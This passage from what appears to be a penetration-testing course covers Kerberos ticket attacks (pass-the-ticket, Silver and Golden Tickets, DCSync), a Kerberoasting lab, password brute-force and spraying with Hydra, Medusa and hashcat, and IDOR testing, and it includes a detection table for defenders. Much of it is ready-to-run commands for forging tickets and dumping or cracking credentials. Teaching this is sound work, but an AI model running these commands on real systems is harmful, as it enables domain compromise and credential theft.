.\Rubeus.exe triage  # List all tickets in memory&lt;/p&gt;
&lt;h1&gt;
  
  
  Import a ticket (pass-the-ticket):
&lt;/h1&gt;

&lt;p&gt;.\Rubeus.exe ptt /ticket:BASE64_TICKET_DATA&lt;/p&gt;
&lt;h1&gt;
  
  
  Mimikatz:
&lt;/h1&gt;

&lt;p&gt;kerberos::ptt ticket.kirbi&lt;/p&gt;
&lt;h1&gt;
  
  
  After importing the ticket, use it to access the service:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  The ticket is now in your session and will be presented to the target service
&lt;/h1&gt;

&lt;p&gt;dir \file-server\share&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h4&gt;
  
  
  Attack 4 — Silver Ticket
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The concept:&lt;/strong&gt;&lt;br&gt;
Remember from the Kerberos flow: Service Tickets are encrypted with the service account's hash, and the service validates them by decrypting with its own hash — never contacting the KDC. If an attacker knows a service account's NT hash, they can forge a Service Ticket for that service with any identity claims they want.&lt;/p&gt;

&lt;p&gt;A forged Silver Ticket can specify:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Any username (even &lt;code&gt;Administrator&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Any group memberships (including &lt;code&gt;Domain Admins&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Any expiry time&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Because the service never contacts the KDC to verify the ticket, there is no central check that could reject the forged ticket. The service decrypts it with its hash, finds it "valid," and grants access.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What you need:&lt;/strong&gt; The NTLM hash of the service account and the domain's SID (Security Identifier).&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Get domain SID:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  In PowerShell:
&lt;/h1&gt;

&lt;p&gt;(Get-ADDomain).DomainSID&lt;/p&gt;
&lt;h1&gt;
  
  
  Or from a domain user's token:
&lt;/h1&gt;

&lt;p&gt;whoami /user  # The SID without the last -RID is the domain SID&lt;/p&gt;
&lt;h1&gt;
  
  
  Forge a Silver Ticket (Impacket):
&lt;/h1&gt;

&lt;p&gt;ticketer.py -nthash SERVICE_ACCOUNT_NTLM_HASH \&lt;br&gt;
  -domain-sid S-1-5-21-xxxxxxxx-xxxxxxxx-xxxxxxxx \&lt;br&gt;
  -domain corp.local \&lt;br&gt;
  -spn CIFS/fileserver.corp.local \&lt;br&gt;
  Administrator&lt;/p&gt;
&lt;h1&gt;
  
  
  This creates a .ccache file containing the forged ticket
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Use the forged ticket:
&lt;/h1&gt;

&lt;p&gt;export KRB5CCNAME=Administrator.ccache&lt;br&gt;
smbclient.py -k -no-pass corp.local/&lt;a href="mailto:Administrator@fileserver.corp.local"&gt;Administrator@fileserver.corp.local&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Mimikatz Silver Ticket (Windows):
&lt;/h1&gt;

&lt;p&gt;kerberos::golden /user:Administrator \&lt;br&gt;
  /domain:corp.local \&lt;br&gt;
  /sid:S-1-5-21-... \&lt;br&gt;
  /target:fileserver.corp.local \&lt;br&gt;
  /service:cifs \&lt;br&gt;
  /rc4:SERVICE_ACCOUNT_NTLM_HASH \&lt;br&gt;
  /ptt  # inject into session immediately&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Silver vs Golden Ticket:&lt;/strong&gt;&lt;br&gt;
Silver Ticket: Access to ONE specific service only. Harder to detect (DC never contacted).&lt;br&gt;
Golden Ticket: Access to ANY service in the domain. Requires the krbtgt hash.&lt;/p&gt;
&lt;h4&gt;
  
  
  Attack 5 — Golden Ticket
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The concept:&lt;/strong&gt;&lt;br&gt;
The TGT (Ticket Granting Ticket) is encrypted with the &lt;code&gt;krbtgt&lt;/code&gt; account's hash. The &lt;code&gt;krbtgt&lt;/code&gt; account is a special account in every Active Directory domain — it never logs in interactively, its password is automatically managed by Active Directory, and its hash is used to encrypt and validate every TGT in the domain.&lt;/p&gt;

&lt;p&gt;If an attacker obtains the &lt;code&gt;krbtgt&lt;/code&gt; account's NTLM hash, they can forge a TGT for any user with any privileges, valid for any duration. This forged TGT is a Golden Ticket — presented to the KDC, which validates it by decrypting with its &lt;code&gt;krbtgt&lt;/code&gt; hash, which is exactly what the attacker used to create it. The KDC cannot distinguish the forged ticket from a legitimate one.&lt;/p&gt;

&lt;p&gt;A Golden Ticket remains valid even after the compromised user's password is changed. The only way to invalidate a Golden Ticket is to change the &lt;code&gt;krbtgt&lt;/code&gt; account's password &lt;strong&gt;twice&lt;/strong&gt; (because Kerberos supports rolling the password for compatibility — the previous password remains valid for a period, so one change is insufficient).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What you need:&lt;/strong&gt; The &lt;code&gt;krbtgt&lt;/code&gt; account's NTLM hash. This requires Domain Admin privileges to obtain — typically achieved through the DCSync attack (replicating Active Directory's password database using the &lt;code&gt;DS-Replication-Get-Changes-All&lt;/code&gt; privilege).&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  DCSync — replicate credentials from DC (requires Domain Admin or equivalent):
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Impacket:
&lt;/h1&gt;

&lt;p&gt;secretsdump.py -just-dc-user krbtgt DOMAIN/DomainAdmin:password@DC_IP&lt;/p&gt;
&lt;h1&gt;
  
  
  Mimikatz:
&lt;/h1&gt;

&lt;p&gt;privilege::debug&lt;br&gt;
lsadump::dcsync /user:krbtgt&lt;/p&gt;
&lt;h1&gt;
  
  
  Output includes the krbtgt NTLM hash
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Forge a Golden Ticket:
&lt;/h1&gt;

&lt;p&gt;ticketer.py -nthash KRBTGT_NTLM_HASH \&lt;br&gt;
  -domain-sid S-1-5-21-xxxxxxxx-xxxxxxxx-xxxxxxxx \&lt;br&gt;
  -domain corp.local \&lt;br&gt;
  Administrator&lt;/p&gt;
&lt;h1&gt;
  
  
  The ticket is valid for 10 years by default (duration configurable)
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Using the ticket:
&lt;/h1&gt;

&lt;p&gt;export KRB5CCNAME=Administrator.ccache&lt;br&gt;
smbclient.py -k -no-pass corp.local/&lt;a href="mailto:Administrator@DC01.corp.local"&gt;Administrator@DC01.corp.local&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Mimikatz Golden Ticket (Windows):
&lt;/h1&gt;

&lt;p&gt;kerberos::golden /user:Administrator \&lt;br&gt;
  /domain:corp.local \&lt;br&gt;
  /sid:S-1-5-21-... \&lt;br&gt;
  /krbtgt:KRBTGT_NTLM_HASH \&lt;br&gt;
  /ptt&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h4&gt;
  
  
  Attack 6 — Kerberos Delegation Abuse
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Unconstrained Delegation:&lt;/strong&gt;&lt;br&gt;
Active Directory allows certain computers and service accounts to impersonate users for Kerberos authentication — called delegation. In "unconstrained delegation," the machine stores the user's full TGT in memory when they authenticate to it. An attacker who compromises a machine with unconstrained delegation enabled can extract all TGTs from that machine's memory using Mimikatz and use them to authenticate to any service on the domain as any user who connected to that machine.&lt;/p&gt;

&lt;p&gt;Identifying unconstrained delegation:&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  PowerView:
&lt;/h1&gt;

&lt;p&gt;Get-DomainComputer -Unconstrained | Select-Object Name, DNSHostName&lt;/p&gt;
&lt;h1&gt;
  
  
  LDAP query:
&lt;/h1&gt;

&lt;p&gt;ldapsearch -x -H ldap://DC_IP -b "DC=corp,DC=local" \&lt;br&gt;
  "(&amp;amp;(userAccountControl:1.2.840.113556.1.4.803:=524288)(!(name=KRBTGT))(!(name=DC)))" \&lt;br&gt;
  name&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Constrained Delegation:&lt;/strong&gt;&lt;br&gt;
More controlled than unconstrained — the service can only delegate to specific listed services. Still abusable if an attacker compromises an account with constrained delegation configured.&lt;/p&gt;
&lt;h4&gt;
  
  
  Detection Event IDs — What Defenders Look For
&lt;/h4&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Attack&lt;/th&gt;
&lt;th&gt;Key Event ID&lt;/th&gt;
&lt;th&gt;What Triggers It&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Kerberoasting&lt;/td&gt;
&lt;td&gt;4769&lt;/td&gt;
&lt;td&gt;TGS requested with RC4 encryption (etype 0x17)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AS-REP Roasting&lt;/td&gt;
&lt;td&gt;4768&lt;/td&gt;
&lt;td&gt;TGT requested where pre-auth disabled&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Golden Ticket&lt;/td&gt;
&lt;td&gt;4769, 4672&lt;/td&gt;
&lt;td&gt;TGS request — but suspicious (no preceding AS-REQ, or very long validity)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Silver Ticket&lt;/td&gt;
&lt;td&gt;(nothing at DC)&lt;/td&gt;
&lt;td&gt;DC is never contacted — detected only at endpoint level&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DCSync&lt;/td&gt;
&lt;td&gt;4662&lt;/td&gt;
&lt;td&gt;DS-Replication-Get-Changes-All accessed from non-DC machine&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The hardest to detect is the Silver Ticket — because the Domain Controller is never involved in ticket validation, no DC logs are generated. Detection requires endpoint telemetry from the service host, comparing service logons with expected behavior.&lt;/p&gt;


&lt;h3&gt;
  
  
  6.5.7 Practice — Kerberos Attack Execution
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Lab Environment Setup
&lt;/h4&gt;

&lt;p&gt;Kerberos attacks require a Windows Active Directory environment. The most accessible options for lab practice:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Option 1 — GOAD (Game of Active Directory):&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://github.com/Orange-Cyberdefense/GOAD" rel="noopener noreferrer"&gt;https://github.com/Orange-Cyberdefense/GOAD&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;GOAD deploys a complete multi-domain Active Directory environment with intentional misconfigurations using Vagrant and VirtualBox/VMware. It takes approximately 2-4 hours to deploy but provides a realistic enterprise AD environment for practicing all Kerberos attacks.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Option 2 — VulnAD:&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://github.com/WazeHell/vulnerable-AD" rel="noopener noreferrer"&gt;https://github.com/WazeHell/vulnerable-AD&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;A PowerShell script that deploys a vulnerable Active Directory on Windows Server. Faster to set up than GOAD if you already have a Windows Server VM.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Option 3 — HackTheBox and TryHackMe:&lt;/strong&gt;&lt;br&gt;
Both platforms have Windows Active Directory machines and rooms specifically for practicing Kerberoasting, AS-REP Roasting, and ticket attacks. No local infrastructure needed.&lt;/p&gt;
&lt;h4&gt;
  
  
  Complete Kerberoasting Practice Sequence
&lt;/h4&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Step 1: Enumerate SPNs (from Kali with domain credentials)
&lt;/h1&gt;

&lt;p&gt;GetUserSPNs.py corp.local/lowprivuser:password -dc-ip 192.168.1.10&lt;/p&gt;
&lt;h1&gt;
  
  
  Output shows accounts with SPNs registered:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  ServicePrincipalName         Name      MemberOf  PasswordLastSet
&lt;/h1&gt;
&lt;h1&gt;
  
  
  CIFS/filesvr.corp.local      svc_fs    ...        2020-01-15
&lt;/h1&gt;
&lt;h1&gt;
  
  
  MSSQLSvc/sqlsvr.corp.local   svc_sql   ...        2019-06-20
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Step 2: Request tickets and save to file
&lt;/h1&gt;

&lt;p&gt;GetUserSPNs.py corp.local/lowprivuser:password -dc-ip 192.168.1.10 -request -outputfile hashes.txt&lt;/p&gt;
&lt;h1&gt;
  
  
  Step 3: Examine hash format (should match hashcat mode 13100):
&lt;/h1&gt;

&lt;p&gt;cat hashes.txt&lt;/p&gt;
&lt;h1&gt;
  
  
  $krb5tgs$23$&lt;em&gt;svc_sql$corp.local$MSSQLSvc/sqlsvr.corp.local&lt;/em&gt;$...
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Step 4: Crack with hashcat
&lt;/h1&gt;

&lt;p&gt;hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt --show&lt;/p&gt;
&lt;h1&gt;
  
  
  Step 5: Once cracked, test access
&lt;/h1&gt;
&lt;h1&gt;
  
  
  If svc_sql password = 'Summer2023!':
&lt;/h1&gt;

&lt;p&gt;smbclient.py corp.local/svc_sql:'Summer2023!'@sqlsvr.corp.local&lt;br&gt;
secretsdump.py corp.local/svc_sql:'Summer2023!'@sqlsvr.corp.local&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;


&lt;h3&gt;
  
  
  6.5.8 Lab — Using Password Tools
&lt;/h3&gt;
&lt;h4&gt;
  
  
  The Complete Password Attack Toolkit
&lt;/h4&gt;

&lt;p&gt;This lab consolidates password-focused authentication attacks using the professional tool set.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hydra — Network Service Brute Force:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Hydra is the primary tool for brute forcing network authentication services — SSH, FTP, HTTP login forms, SMTP, RDP, MySQL, and many others.&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  SSH brute force (after confirming it's in scope):
&lt;/h1&gt;

&lt;p&gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target&lt;/p&gt;
&lt;h1&gt;
  
  
  HTTP POST form brute force:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  First, capture a failed login in Burp to see the form parameters
&lt;/h1&gt;

&lt;p&gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt target \&lt;br&gt;
  http-post-form "/login:username=^USER^&amp;amp;password=^PASS^:Invalid credentials"&lt;/p&gt;
&lt;h1&gt;
  
  
  HTTP basic authentication:
&lt;/h1&gt;

&lt;p&gt;hydra -l admin -P /usr/share/wordlists/rockyou.txt target http-get /admin/&lt;/p&gt;
&lt;h1&gt;
  
  
  FTP:
&lt;/h1&gt;

&lt;p&gt;hydra -L users.txt -P passwords.txt &lt;a href="ftp://target"&gt;ftp://target&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  MySQL:
&lt;/h1&gt;

&lt;p&gt;hydra -l root -P /usr/share/wordlists/rockyou.txt target mysql&lt;/p&gt;
&lt;h1&gt;
  
  
  RDP:
&lt;/h1&gt;

&lt;p&gt;hydra -l Administrator -P /usr/share/wordlists/rockyou.txt rdp://target&lt;/p&gt;
&lt;h1&gt;
  
  
  Multiple hosts:
&lt;/h1&gt;

&lt;p&gt;hydra -l admin -P passwords.txt -M hosts.txt ssh&lt;/p&gt;
&lt;h1&gt;
  
  
  Rate limiting / stealth options:
&lt;/h1&gt;

&lt;p&gt;hydra -l admin -P passwords.txt -t 1 -W 3 ssh://target&lt;/p&gt;
&lt;h1&gt;
  
  
  -t 1: one thread (slow but stealthy)
&lt;/h1&gt;
&lt;h1&gt;
  
  
  -W 3: wait 3 seconds between attempts
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Medusa — Alternative Brute Force Tool:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  SMTP user enumeration and brute force:
&lt;/h1&gt;

&lt;p&gt;medusa -h target -U users.txt -P passwords.txt -M smtp&lt;/p&gt;
&lt;h1&gt;
  
  
  HTTP form:
&lt;/h1&gt;

&lt;p&gt;medusa -h target -U users.txt -P passwords.txt -M http -m FORM:/login&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Password Spraying — Avoiding Lockout:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Unlike brute force (many passwords per account), password spraying tests one or few passwords against many accounts. This avoids triggering account lockout thresholds.&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Microsoft 365 / Azure AD password spray:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  MSOLSpray (specific for O365):
&lt;/h1&gt;

&lt;p&gt;Invoke-MSOLSpray -UserList users.txt -Password 'Summer2024!'&lt;/p&gt;
&lt;h1&gt;
  
  
  TREVORspray (with IP rotation for larger campaigns):
&lt;/h1&gt;

&lt;p&gt;trevorspray -t targets.txt --use-proxy-file proxies.txt -p 'Summer2024!'&lt;/p&gt;
&lt;h1&gt;
  
  
  General web form spray with Hydra (one password, many users):
&lt;/h1&gt;

&lt;p&gt;hydra -L users.txt -p 'Password123' target http-post-form "/login:user=^USER^&amp;amp;pass=^PASS^:failed"&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Hashcat — Offline Hash Cracking:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Identify hash type first:
&lt;/h1&gt;

&lt;p&gt;hashid hash.txt           # hashid tool&lt;br&gt;
hash-identifier           # interactive tool&lt;/p&gt;
&lt;h1&gt;
  
  
  Common hash modes:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  0: MD5
&lt;/h1&gt;
&lt;h1&gt;
  
  
  100: SHA1
&lt;/h1&gt;
&lt;h1&gt;
  
  
  1000: NTLM
&lt;/h1&gt;
&lt;h1&gt;
  
  
  1800: SHA-512crypt (Linux shadow file)
&lt;/h1&gt;
&lt;h1&gt;
  
  
  3200: bcrypt
&lt;/h1&gt;
&lt;h1&gt;
  
  
  5500: NTLMv1
&lt;/h1&gt;
&lt;h1&gt;
  
  
  5600: NTLMv2 (Responder captures)
&lt;/h1&gt;
&lt;h1&gt;
  
  
  13100: Kerberos 5 TGS-REP (Kerberoasting)
&lt;/h1&gt;
&lt;h1&gt;
  
  
  18200: Kerberos 5 AS-REP (AS-REP Roasting)
&lt;/h1&gt;
&lt;h1&gt;
  
  
  16500: JWT HS256
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Dictionary attack:
&lt;/h1&gt;

&lt;p&gt;hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt&lt;/p&gt;
&lt;h1&gt;
  
  
  Rules-based attack (most effective for real passwords):
&lt;/h1&gt;

&lt;p&gt;hashcat -m 1000 ntlm_hashes.txt /usr/share/wordlists/rockyou.txt \&lt;br&gt;
  -r /usr/share/hashcat/rules/best64.rule&lt;/p&gt;
&lt;h1&gt;
  
  
  Combination attack (combine two wordlists):
&lt;/h1&gt;

&lt;p&gt;hashcat -m 1000 ntlm_hashes.txt -a 1 wordlist1.txt wordlist2.txt&lt;/p&gt;
&lt;h1&gt;
  
  
  Mask attack (pattern-based — e.g., all passwords ending in 2024!):
&lt;/h1&gt;

&lt;p&gt;hashcat -m 1000 ntlm_hashes.txt -a 3 ?u?l?l?l?l2024!&lt;/p&gt;
&lt;h1&gt;
  
  
  ?u = uppercase, ?l = lowercase, ?d = digit, ?s = special
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Prince attack (generates intelligent combinations):
&lt;/h1&gt;

&lt;p&gt;hashcat -m 1000 ntlm_hashes.txt -a 6 rockyou.txt ?d?d?d?d&lt;/p&gt;
&lt;h1&gt;
  
  
  Check cracked hashes:
&lt;/h1&gt;

&lt;p&gt;hashcat -m 1000 ntlm_hashes.txt --show&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;


&lt;h2&gt;
  
  
  6.6 Exploiting Authorization-Based Vulnerabilities
&lt;/h2&gt;
&lt;h3&gt;
  
  
  6.6.1 Overview — What Authorization Means and Why It Fails
&lt;/h3&gt;

&lt;p&gt;Authorization is the system of rules that determines what an authenticated user is &lt;strong&gt;permitted to do&lt;/strong&gt;. You have already proved who you are (authentication). Now the question is what you are allowed to access, modify, delete, or execute.&lt;/p&gt;

&lt;p&gt;Authorization failures are the most prevalent category of web application vulnerability. OWASP found authorization weaknesses in &lt;strong&gt;94% of tested applications&lt;/strong&gt; — an incidence rate higher than any other vulnerability category. The reason is structural: authorization is fundamentally different from authentication in that it requires correct decisions at every single endpoint and every single resource, for every combination of user role and action. A single missed check creates a vulnerability.&lt;/p&gt;

&lt;p&gt;Authentication has relatively few places where it can fail — the login form, the session management, the MFA flow. Authorization potentially fails at every single API endpoint, every URL, every database query, every function. In a modern web application with hundreds of endpoints, each endpoint needs its own authorization check. Each check must correctly evaluate whether the requesting user's role and identity entitles them to perform the requested action on the requested resource. One missed check means an attacker who finds that endpoint can bypass the entire authorization system for that resource.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The most important distinction to internalize:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authentication&lt;/strong&gt; prevents unauthenticated access — it keeps strangers out of the building.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Authorization&lt;/strong&gt; prevents unauthorized actions by authenticated users — it prevents employees from accessing other employees' personnel files.&lt;/p&gt;

&lt;p&gt;Both are necessary. Neither is sufficient without the other.&lt;/p&gt;
&lt;h4&gt;
  
  
  The Authorization Models
&lt;/h4&gt;

&lt;p&gt;Understanding authorization models is important because the model an application uses determines how it can fail.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;RBAC — Role-Based Access Control:&lt;/strong&gt;&lt;br&gt;
Permissions are assigned to roles, and users are assigned to roles. A user in the "viewer" role can read records. A user in the "editor" role can read and write. A user in the "admin" role can read, write, and delete.&lt;/p&gt;

&lt;p&gt;RBAC fails when role assignments are incorrect (a user gets a role they should not have), when role checks are missing (a developer forgot to add the role check to a new endpoint), or when roles are too coarse-grained (all "editors" can edit all records, but they should only edit their own).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;ABAC — Attribute-Based Access Control:&lt;/strong&gt;&lt;br&gt;
Access decisions are based on attributes of the user, the resource, and the environment. "User can access document if user.department == document.department AND document.classification &amp;lt;= user.clearance_level."&lt;/p&gt;

&lt;p&gt;ABAC is more flexible and precise than RBAC but harder to implement correctly. Failure modes often involve missing attribute checks or incorrect attribute comparisons.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;DAC — Discretionary Access Control:&lt;/strong&gt;&lt;br&gt;
Resource owners control access to their resources. The creator of a file can grant access to others. Common in file systems and some web applications.&lt;/p&gt;

&lt;p&gt;DAC fails when ownership is not properly tracked or when the access control checks are missing, allowing non-owners to access resources.&lt;/p&gt;


&lt;h3&gt;
  
  
  6.6.2 IDOR — Insecure Direct Object Reference
&lt;/h3&gt;
&lt;h4&gt;
  
  
  The Concept
&lt;/h4&gt;

&lt;p&gt;IDOR is the most frequently found authorization vulnerability in penetration testing and bug bounty programs. It occurs when an application uses a user-supplied identifier to access an object directly — a database record, a file, an account — without verifying that the requesting user is authorized to access that specific object.&lt;/p&gt;

&lt;p&gt;The "direct object reference" means the identifier directly maps to a storage object — a database row ID, a filename, a sequential record number. The "insecure" means this reference is used without access control verification.&lt;/p&gt;

&lt;p&gt;Imagine a healthcare portal where patients view their lab results. The URL structure is:&lt;br&gt;
&lt;code&gt;`&lt;br&gt;
https://patient-portal.hospital.com/results?patient_id=10042&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The application receives &lt;code&gt;patient_id=10042&lt;/code&gt;, queries the database for that patient's results, and displays them. If the application does not verify that the authenticated user is patient 10042, any authenticated patient can view any other patient's results by changing the ID.&lt;/p&gt;

&lt;p&gt;This is IDOR. It is simple, it is extraordinarily common, and it can have catastrophic consequences. Healthcare, financial, legal, and HR systems contain among the most sensitive personal data that exists. A single IDOR in these systems can expose millions of records.&lt;/p&gt;
&lt;h4&gt;
  
  
  IDOR Variations — Beyond Simple Numeric IDs
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Sequential numeric IDs (the classic case):&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;`&lt;br&gt;
/api/orders/1042    → change to /api/orders/1043&lt;br&gt;
/profile?id=887     → change to /profile?id=888&lt;br&gt;
/invoice/00234      → change to /invoice/00235&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;UUIDs and GUIDs:&lt;/strong&gt;&lt;br&gt;
Applications sometimes use UUIDs (Universally Unique Identifiers) like &lt;code&gt;550e8400-e29b-41d4-a716-446655440000&lt;/code&gt; thinking their unpredictability provides access control. This is security through obscurity — if the UUID leaks anywhere (another API response, a log, a URL in an email), the protection is gone. Proper authorization checks are still required.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Indirect references — not IDs but other references:&lt;/strong&gt;&lt;br&gt;
Filenames: &lt;code&gt;/download?file=invoice_alice_2024.pdf&lt;/code&gt; → &lt;code&gt;/download?file=invoice_bob_2024.pdf&lt;/code&gt;&lt;br&gt;
Email addresses: &lt;code&gt;/account?email=alice@example.com&lt;/code&gt; → &lt;code&gt;/account?email=bob@example.com&lt;/code&gt;&lt;br&gt;
Hashed references: Hash the ID and use the hash as the reference — still IDOR if access control is missing&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Parameter pollution — multiple values:&lt;/strong&gt;&lt;br&gt;
Some applications parse the first or last occurrence of a parameter. Sending:&lt;br&gt;
&lt;code&gt;`&lt;br&gt;
?user_id=1042&amp;amp;user_id=1001&lt;br&gt;
`&lt;/code&gt;&lt;br&gt;
Might access user 1001's data if the server takes the last value, while the authorization check uses the first.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Mass Assignment / Auto-binding:&lt;/strong&gt;&lt;br&gt;
In frameworks that automatically bind request parameters to model objects (Ruby on Rails, ASP.NET MVC), submitting additional parameters that are not in the form but are valid model attributes may be accepted. If a form submits &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;email&lt;/code&gt; but the model also has a &lt;code&gt;role&lt;/code&gt; attribute, submitting &lt;code&gt;name=Alice&amp;amp;email=a@b.com&amp;amp;role=admin&lt;/code&gt; might update the role if mass assignment protection is not in place.&lt;/p&gt;
&lt;h4&gt;
  
  
  Finding IDOR — The Methodology
&lt;/h4&gt;

&lt;p&gt;IDOR discovery requires systematic enumeration and comparison. The core technique: identify every place the application exposes object identifiers, then test whether access control is enforced.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1: Map all object identifiers&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Browse the application thoroughly with Burp running. Look for:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Numeric IDs in URLs: &lt;code&gt;/users/1042&lt;/code&gt;, &lt;code&gt;/orders/88&lt;/code&gt;, &lt;code&gt;/documents/567&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;IDs in query parameters: &lt;code&gt;?id=1042&lt;/code&gt;, &lt;code&gt;?order_id=88&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;IDs in POST bodies: &lt;code&gt;{"user_id": 1042, "action": "view"}&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;IDs in JSON API responses (these are candidates for subsequent requests)&lt;/li&gt;
&lt;li&gt;References in hidden form fields&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step 2: Create two test accounts&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For proper IDOR testing, you need two accounts at the same privilege level (or sometimes different levels):&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Account A: User A (your test account with known data)&lt;/li&gt;
&lt;li&gt;Account B: User B (another test account)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Step 3: As User A, identify your object IDs&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Log in as User A. Find your order ID, your profile ID, your document IDs. Note them.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4: As User A, attempt to access User B's objects&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Without logging out, change the ID in requests to point to User B's objects. If User A can read, modify, or delete User B's data, IDOR is confirmed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5: As User A, attempt to access admin-only objects&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Try accessing IDs in ranges you would not expect to have access to. Try ID=1 (often an admin or first user). Try very low IDs (older records that might be admin-created). Try IDs from other parts of the application.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Tools:&lt;/strong&gt;&lt;/p&gt;

